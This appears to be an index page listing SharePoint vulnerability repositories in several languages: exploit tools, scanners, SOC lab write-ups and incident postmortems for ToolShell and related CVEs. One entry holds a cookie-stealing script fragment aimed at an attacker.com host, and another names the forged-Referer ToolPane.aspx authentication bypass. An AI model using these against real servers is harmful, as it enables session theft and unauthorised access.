sharepoint-2026-poc

SharePoint /trust Deserializzazione WS-Federation: PoC e Note di Rilevamento Writeup live GitHub Pages: https://sp-poc.wismansec.com/ rendering HTML di questo documento. Interessati: SharePoint Server 2016, 2019 e Subscription Edition. Ricostruzione di un'intrusione in SharePoint Server...

POC-CVE-2026-56164-exploit

CVE-2026-56164 — Exploit di bypass dell'autenticazione di Microsoft SharePoint Server Critico CVSS 9.8 — Escalation di privilegi non autenticata ad Amministratore Farm in Microsoft SharePoint Server Indice Panoramica Dettagli della vulnerabilità Versioni interessate Diagrammi di architettura...

Sharepoint-cve-2023-29375-incident-response

Analisi dell'incidente SOC: Elevazione dei privilegi di Microsoft SharePoint Server CVE-2023-29375 Un'approfondita indagine di sicurezza su un tentativo critico di sfruttamento ed enumerazione rivolto a un server Microsoft SharePoint. Panoramica dell'incidente Nome avviso: SOC227 - Microsoft...

CVE-2026-50522

CVE-2026-50522 PoC : RCE por Desserialização no SharePoint Execução Remota de Código não Autenticada no SharePoint Server via Desserialização do Cookie SecurityContextToken Exploit de varredura em massa para CVE-2026-50522 visando o Microsoft SharePoint Server on-premises. Abusa da desserializaçã...

CVE-2025-53770

Divine Absolute - CVE-2025-53770 Exploit-Tool Übersicht Divine Absolute ist ein hochentwickeltes, wizardgesteuertes Python-Exploit-Tool, das auf CVE-2025-53770 abzielt, eine kritische CVSS 9.8 nicht authentifizierte Remote-Codeausführung RCE Schwachstelle in lokalen Microsoft SharePoint Server...

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell Introduzione Ho affrontato una vulnerabilità zero-day di SharePoint chiamata ToolShell CVE-2025-53770 nel laboratorio LetsDefend. Ho simulato un attacco zero-day reale in cui una richiesta POST dannosa ha aggirato l'autenticazione,...

SOC227-Microsoft-SharePoint-Server-Elevation-of-Privilege-Possible-CVE-2023-29357-Exploitation

SOC227 - Microsoft SharePoint Server Elevazione dei privilegi Sfruttamento di CVE-2023-29357 CVE-2023-29357 è una vulnerabilità critica di elevazione dei privilegi che, se combinata con altre vulnerabilità, potrebbe potenzialmente portare all'esecuzione di codice in remoto. Il punteggio CVSS di...

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend TL;DR Ehi, in questo lab di LetsDefend mi sono immerso in una zero-day di SharePoint chiamata ToolShell CVE-2025-53770. In pratica, ho replicato un attacco reale in cui una richiesta POST maliziosa bypassava l'autenticazione, eseguiva...

CVE-2024-30043-XXE

CVE-2024-30043-XXE Danksagung Die Auswirkung der Schwachstelle ist derzeit begrenzt, aber ein Dank an https://x.com/chudyPB für die clevere Idee zur Umgehung. https://x.com/chudyPB...

Blackash-CVE-2025-53770

🧠 CVE-2025-53770 : Kritische SharePoint-RCE-Sicherheitslücke, die durch ViewState-Fälschung ausgenutzt wird 📌 Sicherheitslücken-Übersicht Typ : Remote Code Execution RCE CVSS-Score : 9.8 Kritisch Komponente : Microsoft SharePoint Server on-prem Grundursache : Unsichere Deserialisierung von...

Microsoft SharePoint Server - WS-Federation BinaryFormatter Deserialization RCE

Microsoft SharePoint Server 2016, 2019, Subscription Edition = 2026.3.1 contains a remote code execution vulnerability in the WS-Federation passive sign-in endpoint /trust/default.aspx. The SharePoint authentication module SPFederationAuthenticationModuleV2 uses a deflate-only...

CVE-2026-56164-EXP

Microsoft SharePoint Server Elevazione dei privilegi - CVE-2026-56164 Exploit EOP funzionale non autenticato. Panoramica Mancanza di autenticazione per funzione critica CWE-306 negli endpoint del profilo utente e della raccolta siti di SharePoint Server. Consente a utenti remoti di elevare i prop...

CVE-2025-53770

Exploit RCE SharePoint ToolPane Kit di ricerca sulla sicurezza per testare le vulnerabilità di SharePoint ToolPane Panoramica • Funzionalità • Per iniziare • Utilizzo • Struttura del progetto Questo repository contiene proof-of-concept di exploit e strumenti di analisi per la vulnerabilità...

CVE-2025-53770-Scanner

CVE-2025-53770 Scanner di DanSec Uno strumento di ricognizione semplice ed efficace per identificare una potenziale esposizione alla vulnerabilità critica di SharePoint CVE-2025-53770. !Warning Questo strumento è destinato esclusivamente a test autorizzati. L'autore DanSec non si assume alcuna...

CVE-2023-29357-Check

CVE-2023-29357 Vulnerabilidade de Elevação de Privilégio no Microsoft SharePoint Server Este script informará se o alvo é vulnerável ao CVE-2023-29357 Uso root@kitploit: python3 script.py Aviso Legal Este script é apenas para fins educacionais. Não o utilize contra alvos sem consentimento mútuo...

CVE-2025-53770

CVE-2025-53770 SharePoint डिसीरियलाइज़ेशन RCE PoC गंभीर — Microsoft SharePoint Server में असुरक्षित डिसीरियलाइज़ेशन के माध्यम से अप्रमाणित दूरस्थ कोड निष्पादन CVE-2025-53770 विवरण ऑन-प्रिमाइसेस Microsoft SharePoint Server में अविश्वस्त डेटा का डिसीरियलाइज़ेशन एक हमलावर को दूरस्थ रूप से कोड...

CVE-2026-32201-exploit

Übersicht Python-Exploit für CVE-2026-32201 - unsachgemäße Eingabevalidierung in Microsoft SharePoint Server, die nicht authentifiziertes Netzwerk-Spoofing ermöglicht C:L/I:L. Betroffen: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" ...

sharepoint-toolshell-micro-postmortem

Micropost-mortem de Incidente — Campanha “ToolShell” do Microsoft SharePoint On-Prem Este kit realiza a triagem da campanha de dia zero “ToolShell” de meados de 2025 contra o Microsoft SharePoint Server local ; o SharePoint Online está fora do escopo. Ele fornece caças reproduzíveis de ponta a...

CVE-2025-53770

CVE-2025-53770 SharePoint Descrizione La deserializzazione di dati non attendibili in Microsoft SharePoint Server locale consente a un utente malintenzionato di eseguire codice in remoto e compromettere il sistema. Microsoft è a conoscenza dello sfruttamento attivo e sta preparando un aggiornamen...

Microsoft SharePoint Server - Authentication Bypass (ToolShell)

Microsoft Office SharePoint Server contains an improper authentication vulnerability that allows unauthorized attackers to perform spoofing over a network. By crafting a POST request to /layouts/15/ToolPane.aspx with a forged Referer header /layouts/SignOut.aspx, attackers can bypass authenticati...